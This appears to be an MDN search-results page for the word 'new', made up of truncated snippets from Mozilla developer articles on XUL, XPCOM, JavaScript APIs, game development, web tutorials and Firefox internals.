new foo() requires that at compile time you have access to the class declaration of foo(). a factory allows an implementor to hide both the class declaration and creation details of an object, an extremely important step for allowing maximum flexibility in the implementation of a class and reducing compile time dependencies. it can even be used to eliminate all link time dependencies on the class and...
...} nsresult getsamplefactory(nsifactory **aresult) { if (aresul...
...And 5 more matches
Manifest Files - Archive of obsolete content
to subdirectories for different parts of the package. a package can be stored either as a directory or as a jar archive. manifest files a manifest file describes a package and maps its location on disk to a chrome url. the manifest files in the chrome directory will be examined when a mozilla application starts up to see what packages are installed. that means that all you need to do to install a
new package is add a
new manifest file either into the application chrome directory or the user specific chrome directory. this latter chrome directory is normally the one used since the application directory might not have sufficient permissions to write into it. note: starting in gecko 2.0, only the file named chrome.manifest is read automatically; if you need to read multiple manifest files, use...
...manifest is read automatically; if you need to read multiple manifest files, use the manifest command in that file to import additional manifests. use manifest flags to configure the scenarios in which the secondary manifest is imported. if you just want to try testing privileged xul code in the firefox browser, you can do this easily by just using a manifest with only one line in it: create a
new directory somewhere. for example, on a windows machine, you might use c:\testfiles create a
new ascii1 file called test.manifest in the chrome directory. it doesn't actually matter what the file is called as long as it has the .manifest extension. ( 1. doesn't work with utf-8 with bom.) add the following line to it: content tests file:///c:/testfiles/ the file path in that line should point ...
...as it has the .manifest extension. ( 1. doesn't work with utf-8 with bom.) add the following line to it: content tests file:///c:/testfiles/ the file path in that line should point to the directory created above. if you aren't sure what the file path is, open that directory in a browser and copy the url from the address field. that's it! now, all you need to do is add some xul files into that
new directory, and you will be able to load them by typing in a chrome url of the form chrome://tests/content/<filename>. of course, you will need to restart the browser for the changes to take effect. if the file doesn't load, make sure that the file path is correct. the basic syntax of the lines in the manifest file for content packages is: 'content <packagename> <filepath>' the first field 'conten...
...And 5 more matches
Manipulating Lists - Archive of obsolete content
pecialized methods. list manipulation the listbox element provides numerous methods to retrieve and manipulate its items. although listboxes may be manipulated using the standard dom functions as well, it is recommended that the specialized listbox functions be used instead when possible. these functions are bit simpler and will do the right thing. the appenditem() function is used to append a
new item to the end a list. similar to the dom appendchild() function except that it takes a string label, and you do not have to worry about where to add it in the list structure. here is an example: example 1 : source view <script> function additem(){ document.getelementbyid('thelist').appenditem("thursday", "thu"); } </script> <listbox id="thelist"/> <button label="add" oncommand="additem();...
... the appenditem() takes two arguments, the label, in this case 'thursday', and a value 'thu'. the two arguments correspond to the label attribute and the value attribute on the listitem element. the value is used only as an extra optional value associated with an item which you might wish to use in a script. ...
...remember that the first item is 0. ...
...And 5 more matches
Modifying a XUL Interface - Archive of obsolete content
« previousnext » the dom provides various functions to modify the document. creating
new elements you can create
new elements using the createelement() function of the document. it takes one argument, the tag name of the element to create. you can then set attributes of the element using the setattribute() function and append it to the xul document using the appendchild() function. ...
...o create. you can then set attributes of the element using the setattribute() function and append it to the xul document using the appendchild() function. for example, the following will add a button to a xul window: example 1 : source view <script> function addbutton(){ var abox = document.getelementbyid("abox"); var button = document.createelement("button"); button.setattribute("label","a
new button"); abox.appendchild(button); } </script> <box id="abox" width="200"> <button label="add" oncommand="addbutton();"/> </box> this example has two parts a box container element in xul. notice that this is not the same as a vbox or an hbox. (this is discussed more in the box model pages.) the box element has two attributes "id" and "width". the ...
... box element has two attributes "id" and "width". the box element contains a button element. the button element has two attributes "label" and "oncommand" a javascript function named "addbutton()" this script first gets a reference to the box with getelementbyid(), which is the container to add a
new button to. the function getelementbyid() does not know that the box it is looking for happens to be containing the tag that has the oncommand attribute that referenced it. getelementbyid() only knows the box it is looking to find has an id with the value "abox". this is a subtle dependency between the function and the xul element to which you should pay attention. addbutton() the calls ...
...And 5 more matches
Archived Mozilla and build documentation - Archive of obsolete content
fy the pages that the generators know how to summarize by matching patterns in those pages' urls. dehydra the development focus switched to dxr (where the "d" comes from "dehydra"), which is based on clang instead of gcc. try dxr instead, or else try the gcc python plugin: https://fedorahosted.org/gcc-python-plugin/. developing
new mozilla features tips for contributing
new features to mozilla. devmo 1.0 launch roadmap comments, ideas, questions and other discussion should be added on the devmo talk:1.0 launch roadmap page. further details on smaller tasks being done are available at user:dria:todo page. see also current events. download manager improvements in fir...
... user:dria:todo page. see also current events. download manager improvements in firefox 3 firefox 3 offers improvements to the download manager that allow multiple progress listeners, use of the storage api for data management, download resuming, and more. in addition, you can augment or replace the download manager's user interface by implementing the
new nsidownloadmanagerui interface. download manager preferences there are several preferences used by the download manager. this article provides a list of them. drag and drop this section describes how to implement objects that can be dragged around and dropped onto other objects. dtrace dtrace is sun microsystem's dynamic tracing f...
...developers wishing to understand or extend the mozilla http implementation. introducing the audio api extension the audio data api extension extends the html5 specification of the <audio> and <video> media elements by exposing audio metadata and raw audio data. ...
...And 5 more matches
Object.prototype.watch() - Archive of obsolete content
to be assigned a value and runs a function when that occurs. syntax obj.watch(prop, handler) parameters prop the name of a property of the object on which you wish to monitor changes. handler a function to call when the specified property's value changes. return value undefined. description watches for assignment to a property named prop in this object, calling handler(prop, oldval,
newval) whenever prop is set and storing the return value in that property. a watchpoint can filter (or nullify) the value assignment, by returning a modified
newval (or by returning oldval). if you delete a property for which a watchpoint has been set, that watchpoint does not disappear. if you later recreate the property, the watchpoint is still in effect. to remove a watchpoint, use the unwatch(...
...ample, window.watch('location', myhandler) will not call myhandler if the user clicks a link to an anchor within the current document. however, window.location += '#myanchor' will call myhandler. note: calling watch() on an object for a specific property overrides any previous handler attached for that property. ...
...er clicks a link to an anchor within the current document. however, window.location += '#myanchor' will call myhandler. note: calling watch() on an object for a specific property overrides any previous handler attached for that property. examples using watch and unwatch const o = { p: 1 }; o.watch('p', (id, oldval,
newval) => { console.log('o.' + id + ' changed from ' + oldval + ' to ' +
newval); return
newval; }); o.p = 2; o.p = 3; delete o.p; o.p = 4; o.unwatch('p'); o.p = 5; this script displays the following: o.p changed from 1 to 2 o.p changed from 2 to 3 o.p changed from undefined to 4 using watch() to validate an object's properties you can use watch to test any assignment to an object's properties. this example ensures that every person always has a valid name and a...
...And 5 more matches
JavaArray - Archive of obsolete content
summary core object a wrapped java array accessed from within javascript code is a member of the type javaarray. created by any java method which returns an array. in addition, you can create a javaarray with an arbitrary data type using the
newinstance method of the array class: public static object
newinstance(class componenttype, int length) throws negativearraysizeexception description the javaarray object is an instance of a java array that is created in or passed to javascript. javaarray is a wrapper for the instance; all references to the array instance are made through the javaarray. in javascript 1.4 and later, the componenttype parameter is either a javaclass object representing the type of the array or class object, such as one returned by java.lang.class.forname. i...
...t 1.4 and later, the componenttype parameter is either a javaclass object representing the type of the array or class object, such as one returned by java.lang.class.forname. in javascript 1.3 and earlier, componenttype must be a class object. use zero-based indexes to access the elements in a javaarray object, just as you do to access elements in an array in java. for example: var javastring =
new java.lang.string("hello world!"); var bytearray = javastring.getbytes(); bytearray[0] // returns 72 bytearray[1] // returns 101 any java data brought into javascript is converted to javascript data types. when the javaarray is passed back to java, the array is unwrapped and can be used by java code. see the core javascript 1.5 guide for more information about data type conversions. in javascri...
....lang.object are inherited by javaarray. backward compatibility javascript 1.3 and earlier the methods of java.lang.object are not inherited by javaarray. in addition, the tostring method is inherited from the object object and returns the following value: [object javaarray] you must specify a class object, such as one returned by java.lang.object.forname, for the componenttype parameter of
newinstance when you use this method to create an array. you cannot use a javaclass object for the componenttype parameter. properties length: the number of elements in the java array represented by javaarray. methods tostring: in javascript 1.4, this method is overridden by the inherited method java.lang.object.tostring. in javascript 1.3 and earlier, this method returns a string identifying the...
...And 5 more matches
Building up a basic demo with PlayCanvas editor - Game development
e editor and given a simple starter tutorial involving editing a 3d rolling ball game. you can finish this before you continue our tutorial if you like. when you are ready to continue with our tutorial, go to your canvas homepage — for example mine is https://playcanvas.com/end3r. here's what the page looks like — you can create projects and manage them, change their settings etc. creating a
new project start a brand
new project by clicking on the
new button: the resulting dialog box will show a few different options. there are starter kits available, but we don't want to load models or start a platform game. we want to start small, so we will use the empty project — click on the blank project option and enter a name for it (we are using "mdn games demo".) enter a description i...
...n games demo".) enter a description if you want — it is optional. click create to have it created. next you'll see your project's page — there's not much yet. by clicking the editor button we'll launch the online playcanvas editor where we'll create our scene with the shapes. do this now. creating the scene here's how the scene looks initially in the editor. even though it's a blank
new project we don't have to start entirely from scratch — the camera and directional light are prepared already, so you don't have to worry about them. now onto the creative part. to add an entity to the scene you have to click on the big plus button located in the top left area of the editor, next to the hierarchy text. when hovering over that button with your mouse the label will say 'add ent...
... cylinder or cone, but it can also be a camera, light or sound source. after clicking the button you'll see a dropdown list containing a lot of various entities to choose from. go ahead and click box — it will be added to the scene. the box is created with the default values — width, height and depth are set to 1, and it is placed in the middle of the scene. you can drag it around or apply
new values in the right panel. to add some colors to the scene we need a
new material that will be used on the
newly created box. click on the plus button in the assets tab, and click on the material option in the dropdown list that appears to create a
new material. click on your
new material in the assets tab and its entity inspector will appear on the right hand side of the display. now edit ...
...And 5 more matches
GLSL Shaders - Game development
ge to be the full size of the viewport. the <script> element in the <head> includes the three.js library in the page; we will write our code into three script tags in the <body> tag: the first one will contain the vertex shader. the second one will contain the fragment shader. the third one will contain the actual javascript code generating the scene. before reading on, copy this code to a
new text file and save it in your working directory as index.html. we'll create a scene featuring a simple cube in this file to explain how the shaders work. the cube's source code instead of creating everything from scratch we can reuse the building up a basic demo with three.js source code of the cube. most of the components like the renderer, camera, and lights will stay the same, but instead of...
...ew and the projection matrices by each vector to get the final vertex position, in each case. note: you can learn more about model, view, and projection transformations from the vertex processing paragraph, and you can also check out the links at the end of this article to learn more about it. both projectionmatrix and modelviewmatrix are provided by three.js and the vector is passed with the
new 3d position, which results in the original cube moving 10 units along the x axis and 5 units along the z axis, translated via a shader. we can ignore the fourth parameter and leave it with the default 1.0 value; this is used to manipulate the clipping of the vertex position in the 3d space, but we don't need in our case. the texture shader code now we'll add the texture shader to the code — a...
...tag: void main() { gl_fragcolor = vec4(0.0, 0.58, 0.86, 1.0); } this will set an rgba color to recreate the current light blue one — the first three float values (ranging from 0.0 to 1.0) represent the red, green, and blue channels while the fourth one is the alpha transparency (ranging from 0.0 — fully transparent — to 1.0 — fully opaque). ...
...And 5 more matches
Desktop gamepad controls - Game development
erage, according to caniuse.com. the list of supported devices is also quite extensive — most popular gamepads (e.g. xbox 360 or ps3) should be suitable for web implementations. pure javascript approach let's think about implementing pure javascript gamepad controls in our little controls demo first to see how it would work. ...
...layout[b]); } } } var axes = []; if(c.axes) { for(var a=0,x=c.axes.length; a<x; a++) { axes.push(c.axes[a].tofixed(2)); } } gamepadapi.axes.status = axes; gamepadapi.buttons.status = pressed; return pressed; }, the function above clears the buttons cache, and copies their status from the previous frame to the cache. ...
...vious frame to the cache. next, the button status is cleared and the
new information is added. the same goes for the axes information — looping through axes adds the values to the array. received values are assigned to the proper objects and returns the pressed info for debugging purposes. ...
...And 5 more matches
HTML: A good basis for accessibility - Learn web development
e content sectioning) — you can create a layout using only nested <div> elements, but it is better to use appropriate sectioning elements to wrap your main navigation (<nav>), footer (<footer>), repeating content units (<article>), etc. these provide extra semantics for screen readers (and other tools) to give user extra clues about the content they are navigating (see screen reader support for
new html5 section elements for an idea of what screen reader support is like). note: in addition to having good semantics and an attractive layout, your content should make logical sense in its source order — you can always place it where you want using css later on, but you should get the source order right to start with, so what screen reader users get read out to them will make sense. ui con...
...sic accessibility concerns to be aware of when creating such controls. later articles on wai-aria and multimedia will look at other aspects of ui accessibility. one key aspect of the accessibility of ui controls is that by default, browsers allow them to be manipulated by the keyboard. you can try this out using our native-keyboard-accessibility.html example (see the source code). open this in a
new tab, and try pressing the tab key; after a few presses, you should see the tab focus start to move through the different focusable elements. the focused elements are given a highlighted default style in every browser (it differs slightly between different browsers) so that you can tell what element is focused. you can then press enter/return to follow a focused link or press a button (we've in...
...ormation on them that could perhaps be represented as an accessible data table instead (see accessible data tables). however, longdesc is not supported consistently by screen readers, and the content is completely inaccessible to non-screen reader users. it is arguably much better to include the long description on the same page as the image, or link to it with a regular link. ...
...And 5 more matches
HTML: A good basis for accessibility - Learn web development
e content sectioning) — you can create a layout using only nested <div> elements, but it is better to use appropriate sectioning elements to wrap your main navigation (<nav>), footer (<footer>), repeating content units (<article>), etc. these provide extra semantics for screen readers (and other tools) to give user extra clues about the content they are navigating (see screen reader support for
new html5 section elements for an idea of what screen reader support is like). note: in addition to having good semantics and an attractive layout, your content should make logical sense in its source order — you can always place it where you want using css later on, but you should get the source order right to start with, so what screen reader users get read out to them will make sense. ui con...
...sic accessibility concerns to be aware of when creating such controls. later articles on wai-aria and multimedia will look at other aspects of ui accessibility. one key aspect of the accessibility of ui controls is that by default, browsers allow them to be manipulated by the keyboard. you can try this out using our native-keyboard-accessibility.html example (see the source code). open this in a
new tab, and try pressing the tab key; after a few presses, you should see the tab focus start to move through the different focusable elements. the focused elements are given a highlighted default style in every browser (it differs slightly between different browsers) so that you can tell what element is focused. you can then press enter/return to follow a focused link or press a button (we've in...
...ormation on them that could perhaps be represented as an accessible data table instead (see accessible data tables). however, longdesc is not supported consistently by screen readers, and the content is completely inaccessible to non-screen reader users. it is arguably much better to include the long description on the same page as the image, or link to it with a regular link. ...
...And 5 more matches
Basic math in JavaScript — numbers and operators - Learn web development
e we had to learn multiplication tables and long division in school, and some of us sit somewhere in between the two. but none of us can deny that math is a fundamental part of life that we can't get very far without. this is especially true when we are learning to program javascript (or any other language for that matter) — so much of what we do relies on processing numerical data, calculating
new values, and so on, that you won't be surprised to learn that javascript has a full-featured set of math functions available. this article discusses only the basic parts that you need to know now. types of numbers in programming, even the humble decimal number system that we all know so well is more complicated than you might think. we use different terms to describe different types of decimal ...
...ecimal — base 16, uses 0–9 and then a–f in each column. you may have encountered these numbers before when setting colors in css. before you start to get worried about your brain melting, stop right there! for a start, we are just going to stick to decimal numbers throughout this course; you'll rarely come across a need to start thinking about other types, if ever. the second bit of good
news is that unlike some other programming languages, javascript only has one data type for numbers, both integers and decimals — you guessed it, number. this means that whatever type of numbers you are dealing with in javascript, you handle them in exactly the same way. note: actually, javascript has a second number type, bigint, used for very, very large integers. but for the purposes of this c...
...when needed. we've actually provided a simple example showing how this is done — check it out live, and look at the source code to see if you can spot the incrementors! we'll look at loops in detail later on in the course. let's try playing with these in your console. for a start, note that you can't apply these directly to a number, which might seem strange, but we are assigning a variable a
new updated value, not operating on the value itself. the following will return an error: 3++; so, you can only increment an existing variable. try this: let num1 = 4; num1++; okay, strangeness number 2! when you do this, you'll see a value of 4 returned — this is because the browser returns the current value, then increments the variable. you can see that it's been incremented if you return th...
...And 5 more matches
Silly story generator - Learn web development
: before attempting this assessment you should have already worked through all the articles in this module. objective: to test comprehension of javascript fundamentals, such as variables, numbers, operators, strings, and arrays. starting point to get this assessment started, you should: go and grab the html file for the example, save a local copy of it as index.html in a
new directory somewhere on your computer, and do the assessment locally to begin with. this also has the css to style the example contained within it. go to the page containing the raw text and keep this open in a separate browser tab somewhere. you'll need it later. alternatively, you could use a site like jsbin or glitch to do your assessment. you could paste the html, css and javascript into on...
...erate button is pressed. will generate another random silly story if you press the button again (and again...) the following screenshot shows an example of what the finished program should output: to give you more of an idea, have a look at the finished example (no peeking at the source code!) steps to complete the following sections describe what you need to do. basic setup: create a
new file called main.js, in the same directory as your index.html file. apply the external javascript file to your html by inserting a <script> element into your html referencing main.js. put it just before the closing </body> tag. initial variables and functions: in the raw text file, copy all of the code underneath the heading "1. complete variable and function definitions" and paste it into ...
.... this: adds a click event listener to the randomize variable so that when the button it represents is clicked, the result() function is run. adds a partially-completed result() function definiton to your code. for the remainder of the assessment, you'll be filling in lines inside this function to complete it and make it work properly. ...
...And 5 more matches
Getting started with Ember - Learn web development
re to find out how to install node and npm, if you haven't already got them. now type the following into your terminal to install ember-cli: npm install -g ember-cli this tool provides the ember program in your terminal, which is used to create, build, develop, test, and scaffold your application (run ember --help for a full list of commands and their options). ...
...t them. now type the following into your terminal to install ember-cli: npm install -g ember-cli this tool provides the ember program in your terminal, which is used to create, build, develop, test, and scaffold your application (run ember --help for a full list of commands and their options). to create a brand
new application, type the following in your terminal. ...
...li this tool provides the ember program in your terminal, which is used to create, build, develop, test, and scaffold your application (run ember --help for a full list of commands and their options). to create a brand
new application, type the following in your terminal. this creates a
new directory inside the current directory you are in called todomvc, containing the scaffolding for a
new ember app. make sure you navigate to somewhere appropriate in the terminal before you run it. ...
...And 5 more matches
Ember interactivity: Events, classes and state - Learn web development
along the way, we'll look at using events in ember, creating component classes to contain javascript code to control interactive features, and setting up a service to keep track of the data state of our app. prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line. ...
...st. we want to be able to capture the text typed into the input. we do this so that our javascript code knows what we typed in, and we can save our todo and pass that text along to the todo list component to display. we can capture the keydown event via the on modifier, which is just ember syntactic sugar around addeventlistener and removeeventlistener (see this explanation if needed). add the
new line shown below to your header.hbs file: <input class='
new-todo' aria-label='what needs to be done?' placeholder='what needs to be done?' autofocus {{on 'keydown' this.onkeydown}} > this
new attribute is inside double curly braces, which tells you it is part of ember's dynamic templating syntax. the first argument passed to on is the type of event to respond to (keydown), and the las...
... time to add to the body of the service. first add another import statement below the previous one, to make actions available inside the service: import { action } from '@ember/object'; update the existing export default class tododataservice extends service { … } block as follows: export default class tododataservice extends service { @tracked todos = []; @action add(text) { let
newtodo =
new todo(text); this.todos = [...this.todos,
newtodo]; } } here, the todos property on the service will maintain our list of todos contained inside an array, and we'll mark it with @tracked, because when the value of todos is updated we want the ui to update as well. and just like before, the add() function that will be called from the template gets annotated with the @action decor...
...And 5 more matches
Accessibility in React - Learn web development
for both keyboard-only and screenreader users. prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line. objective: to learn about implementing keyboard accessibility in react. including keyboard users at this point, we've accomplished all of the features we set out to implement. a user can add a
new task, check and uncheck tasks, delete tasks, or edit task names. and they can filter their task list by all, active, or completed tasks. or, at least: they can do all of these things with a mouse. unfortunately, these features are not very accessible to keyboard-only users. let's explore this now. exploring the keyboard usability problem start by clicking on the input at the top of our app, as...
...asks, delete tasks, or edit task names. and they can filter their task list by all, active, or completed tasks. or, at least: they can do all of these things with a mouse. unfortunately, these features are not very accessible to keyboard-only users. let's explore this now. exploring the keyboard usability problem start by clicking on the input at the top of our app, as if you're going to add a
new task. you'll see a thick, dashed outline around that input. this outline is your visual indicator that the browser is currently focused on this element. press the tab key, and you will see the outline appear around the "add" button beneath the input. this shows you that the browser's focus has moved. press tab a few more times, and you will see this dashed focus indicator move between each of th...
...nt to focus on and how to find it. react’s useref hook creates an object with a single property: current. this property can be a reference to anything we want and look that reference up later. it’s particularly useful for referring to dom elements. change the import statement at the top of todo.js so that it includes useref: import react, { useref, usestate } from "react"; then, create two
new constants beneath the hooks in your todo() function. each should be a ref – one for the "edit" button in the view template and one for the edit field in the editing template. const editfieldref = useref(null); const editbuttonref = useref(null); these refs have a default value of null because they will not have value until we attach them to their respective elements. to do that, we'll add an ...
...And 5 more matches
Handling common HTML and CSS problems - Learn web development
eatures this is a common problem, especially when you need to support old browsers (such as old ie versions) or you are using features that are implemented using css prefixes. in general, most core html and css functionality (such as basic html elements, css basic colors and text styling) works across most browsers you'll want to support; more problems are uncovered when you start wanting to use
newer features such as flexbox, or html5 video/audio, or even more nascent, css grids or -webkit-background-clip: text. once you've identified a list of potential problem technologies you will be using, it is a good idea to research what browsers they are supported in, and what related techniques are useful. see finding help below. html fallback behaviour some problems can be solved by just taking...
...ural way in which html/css work. unrecognised html elements are treated by the browser as anonymous inline elements (effectively inline elements with no semantic value, similar to <span> elements). you can still refer to them by their names, and style them with css, for example — you just need to make sure they are behaving as you want them to, for example setting display: block; on all of the
new semantic elements (such as <article>, <aside>, etc.), but only in old versions of ie that don't recognise them (so, ie 8 and lower). this way
new browsers can just use the code as normal, but older ie versions will be able to style these elements too. note: see ie conditional comments for the best way to do this. more complex elements like html <video>, <audio>, and <canvas> (and other featur...
...om of the dom inspector: if for example you were trying to use this selector, you'd be able to see that it wouldn't select the input element as desired: form > #date (the date form input isn't directly inside the <form>; you'd be better off using a general descendant selector instead of a child selector). however, another issue that appears in versions of ie older than 9 is that none of the
newer selectors (mainly pseudo-classes and pseudo-elements like :nth-of-type, :not, ::selection, etc.) work. if you want to use these in your css and you need to support older ie versions, a good move is to use keith clark's selectivizr library — this is a small javascript library that works on top of an existing javascript library like jquery or mootools. to try this example, make a local copy ...
...And 5 more matches
Package management basics - Learn web development
bundle is the term that’s generally used to refer to a single file on your web server that contains all the javascript for your software — typically compressed as much as possible to help reduce the time it takes to get your software downloaded and displayed in your visitors’ browser. in addition, what happens if you find a better tool that you want to use instead of the current one, or a
new version of your dependency is released that you want to update to? this is not too painful for a couple of dependencies, but in larger projects with many dependencies this kind of thing can become really challenging to keep track of. it makes more sense to use a package manager such as npm, as this will guarantee that the code is added and removed cleanly, as well as a host of other advantages. ...
...ep track of. it makes more sense to use a package manager such as npm, as this will guarantee that the code is added and removed cleanly, as well as a host of other advantages. what exactly is a package manager? we've met npm already, but stepping back from npm itself, a package manager is a system that will manage your project dependencies. the package manager will provide a method to install
new dependencies (also referred to as "packages"), manage where packages are stored on your file system, and offer capabilities for you to publish your own packages. in theory you may not need a package manager and you could manually download and store your project dependencies, but a package manager will seamlessly handle installing and uninstalling packages. if you didn't use one, you'd have to ma...
... to dependencies and automatically installs any dependencies it sees that our code needs. it can also automatically build our code. in our previous chapter we installed prettier as a global tool. here however, let’s use npm to install parcel as a local tool, as best practices dictate. we'll install it as part of an experimental app. setting up the app as an npm package first of all, create a
new directory to store our experimental app in, somewhere sensible that you’ll find again. we’ll call it parcel-experiment, but you can call it whatever you like: mkdir parcel-experiment cd parcel-experiment next, let's initialise our app as an npm package, which creates a config file — package.json — that allows us to save our configuration details in case we want to recreate this environ...
...And 5 more matches
Eclipse CDT
editor view (the editor must be focused first). to tab to another view, use cmd-f7/ctrl-f7. this is useful if you have maximized the editor using ctrl-m and you want to quickly see your search results. for example, without un-maximizing the editor. to side-by-side edit the same file in two different tabs, select the tab of the file that you want to edit, then from the menu bar select "window >
new editor". this will open another tab containing the same file. now simply drag that tab to position it beside, above, or below the original. changes you make in one editor will be immediately reflected in the other. note that the search, call hierarchy, and other tabs have a "pin" button that allows you to open multiple tabs of these type. this is useful if you want to keep your existing search r...
...containing the same file. now simply drag that tab to position it beside, above, or below the original. changes you make in one editor will be immediately reflected in the other. note that the search, call hierarchy, and other tabs have a "pin" button that allows you to open multiple tabs of these type. this is useful if you want to keep your existing search results open, for example, and have a
new search open in a separate tab rather than overriding the contents of the existing search tab. code assistance note: indexing, by its very nature, is specific to a given compiler configuration. be aware that when eclipse gives results for any of the actions that follow, it will not include results for sections of the code that are ifdef'ed out by the configuration used to create your object dire...
...ing"/"leaving" lines. it also used to be necessary to add the following two lines to your mozconfig to make the compiler output errors all on a single line, but that may not be needed anymore: export cflags="-fmessage-length=0" export cppflags="-fmessage-length=0" debugging to create a debug configuration, open the project properties window, and select "run/debug settings" on the left. click "
new", then select "c/c++ application". in the window that opens enter the path to your firefox binary (something like {your-obj-dir}/dist/nightlydebug.app/contents/macos/firefox) and select "disable auto build". select the arguments tab and enter any args you want to pass to firefox (such as "--no-remote -p my-testing-profile"). if you're on linux, you may also need to set the "working directory" to ...
...And 5 more matches
Storage access policy: Block cookies from trackers
firefox includes a
new storage access policy that blocks cookies and other site data from third-party tracking resources. this policy is designed as an alternative to the older cookie policies, which have been available in firefox for many years. this policy protects against cross-site tracking while minimizing the site breakage associated with traditional cookie blocking. this article explains how the policy works and how you can test it. testing in firefox this cookie policy has been available in firefox since version 63. this documentation describes the policy that we intend to ship to firefox release users, but may not match what is implemented in the current release version of firefox. ...
...e associated with traditional cookie blocking. this article explains how the policy works and how you can test it. testing in firefox this cookie policy has been available in firefox since version 63. this documentation describes the policy that we intend to ship to firefox release users, but may not match what is implemented in the current release version of firefox. that's because we document
new aspects of the policy as soon as they land in firefox nightly, our pre-release channel. firefox nightly may also contain experimental features that we don't yet plan to ship to release users; experimental features will not be included in this documentation, but may nevertheless impact the functionality of domains classified as trackers. we recommend sites test with firefox nightly, as this inclu...
... of the policy as soon as they land in firefox nightly, our pre-release channel. firefox nightly may also contain experimental features that we don't yet plan to ship to release users; experimental features will not be included in this documentation, but may nevertheless impact the functionality of domains classified as trackers. we recommend sites test with firefox nightly, as this includes the
newest version of our protections. as described above, note that nightly may include additional protections that end up getting removed or changed before they reach our release users. we’ll keep this page updated with the
newest information as we strengthen our protections. these protections are on by default in nightly. the cookie policy can be enabled in other versions of firefox through the con...
...And 5 more matches
Overview of Mozilla embedding APIs
om components. at the heart of xpcom's implementation is the service manager and the component manager. together, these two services provide a centralized point for gaining access to all of the public mozilla interfaces. the service manager exposes all of the available xpcom services - each service represents a global object which provides some piece of functionality. the component manager allows
new instances of registered xpcom components to be instantiated. the embedding layer consists of several components built on top of xpcom and its services. much of the gecko functionality is exposed through a component called the nswebbrowser. embedding applications can leverage this component to easily access many of gecko's features. each webbrowser instance represents the "client-area" of a typic...
...s a set of interfaces which allow the embedding application to control activity and respond to changes within this client area. using these interfaces an embedding application can build up its own user interface around a webbrowser instance. public classes the following utility classes are available from the xpcom dll. they provide some basic functionality which should be leveraged when building
new xpcom components. nscomptr<interface-type> these are templatized smart pointers which transparently deal with xpcom reference counting issues. see the nscomptr user's manual for more information. nsstring there are a collection of string classes which support both unicode and ascii strings. these classes provide a variety of string operations as well as dealing with the memory management ...
...the nsisupports argument into an nsiinterfacerequestor and then calls getinterface(...) to retrieve the requested interface. do_queryreferent this function is the equivilent of do_queryinterface except that it performs the qi through a weak reference. do_getservice this function simplifies accessing services from the service manager. do_createinstance this function simplifies creating
new component instances. nscomtypeinfo<interface-type>::getiid() this template helper class allows easy access to an interface's nsiid. typically the ns_get_iid(...) macro is used instead of using the nscomtypeinfo template directly. ns_getweakreference this function creates a weak reference to a component which implements the nsiweakreference interface. global services nsservicemanager the s...
...And 5 more matches
IPDL Tutorial
all ipdl messages are sent between parent and a child end points, called actors. ...
... all ipdl messages are sent between parent and a child end points, called actors. ...
... parent receives the message and the response arrives, and in asynchronous semantics from the parent to the child the parent will not block. when creating a plugin instance, the browser should block until instance creation is finished, and needs some information returned from the plugin: sync protocol pplugininstance { child: sync init() returns (bool windowless, bool ok); }; we added two
new keywords to the plugin protocol, sync and returns. sync marks a message as being sent synchronously. the returns keyword marks the beginning of the list of values that are returned in the reply to the message. async message return values bug 1313200 introduced the ability to use returns with async messages: protocol pplugininstance { child: async asyncinit() returns (bool windowless, bool ...
...And 5 more matches
Promise
a promise object represents a value that may not be available yet. a reference to an existing promise may be received by different means, for example as the return value of a call into an asynchronous api. once you have a reference to a promise, you can call its then() method to execute an action when the value becomes available, or when an error occurs. promises may also be created using the
new promise() constructor. you don't need to import the promise.jsm module to use a promise object to which you already have a reference. internally, a promise can be in one of three states: pending, when the final value is not available yet. this is the only state that may transition to one of the other two states. fulfilled, when and if the final value becomes available. a fulfillment value be...
...ulfill with a boolean: promise<boolean> exists(string path); the rejection reason may be specified separately in the function's documentation, and is considered to be an error object unless otherwise specified. method overview promise then([optional] function onfulfill, [optional] function onreject); promise catch([optional] function onreject); constructor creates a
new promise, initially in the pending state, and provides references to the resolving functions that can be used to change its state.
new promise(executor); parameters executor this function is invoked immediately with the resolving functions as its two arguments: executor(resolve, reject); the constructor will not return until the executor has completed. the resolving functions can be ...
...omise. although the reason can be undefined, it is generally an error object, like in exception handling. note: this argument should not be a promise. specifying a rejected promise would make the rejection reason equal to the rejected promise itself, and not its rejection reason. methods then() calls one of the provided functions as soon as this promise is either fulfilled or rejected. a
new promise is returned, whose state evolves depending on this promise and the provided callback functions. the appropriate callback is always invoked after this method returns, even if this promise is already fulfilled or rejected. you can also call the then method multiple times on the same promise, and the callbacks will be invoked in the same order as they were registered. warning: if the onf...
...And 5 more matches
WebRequest.jsm
the webrequest module provides an api to add event listeners for the various stages of making an http request. the event listener receives detailed information about the request, and can modify or cancel the request. you can use this api to implement a content policy in an add-on (for example, an ad or script blocker), as you could using nsicontentpolicy. more generally, you can also use this api instead of http request observers. you can use webrequest.jsm in either the chrome or content processes. the webrequest api is modeled on chrome's webrequest extension api, which makes it easier to write cross-browser add-on code. ...
...n array of resource types. only invoke the listener for resource types that match one of the types given. to specify match patterns, first import the "matchpattern.jsm" module, then construct a matchpattern. the matchpattern constructor accepts: either: a string defining a single pattern or: an array of such strings cu.import("resource://gre/modules/matchpattern.jsm"); let pattern =
new matchpattern("https:/developer.mozilla.org/*"); cu.import("resource://gre/modules/matchpattern.jsm"); let pattern =
new matchpattern(["https://mozorg.cdn.mozilla.net/*", "https://mdn.mozillademos.org/*", "https://developer.cdn.mozilla.net/*"]); see the match patterns article for details on the syntax of the strings you supply. i...
...= cu.import("resource://gre/modules/webrequest.jsm", {}); webrequest.onbeforerequest.addlistener(logurl); function logurl(e) { console.log("loading: " + e.url); } filtering this example logs urls for requests under "https://developer.mozilla.org/": let {webrequest} = cu.import("resource://gre/modules/webrequest.jsm", {}); cu.import("resource://gre/modules/matchpattern.jsm"); let pattern =
new matchpattern("https:/developer.mozilla.org/*"); webrequest.onbeforerequest.addlistener(logurl, {urls: pattern}); function logurl(e) { console.log("loading: " + e.url); } this listener will be invoked for requests matching any of the three patterns, where the resource type is "stylesheet" or "image": let {webrequest} = cu.import("resource://gre/modules/webrequest.jsm", {}); cu.import("resou...
...And 5 more matches
Localization content best practices
s (names) chosen for your keys, regardless of the file format, should always be descriptive of the string, and its role in the interface (button label, title, etc.). think of them as long variable names. when you have to change a key id, adding a progressive number to the existing key should always be used as a last resort. ...
...sen for your keys, regardless of the file format, should always be descriptive of the string, and its role in the interface (button label, title, etc.). think of them as long variable names. when you have to change a key id, adding a progressive number to the existing key should always be used as a last resort. ...
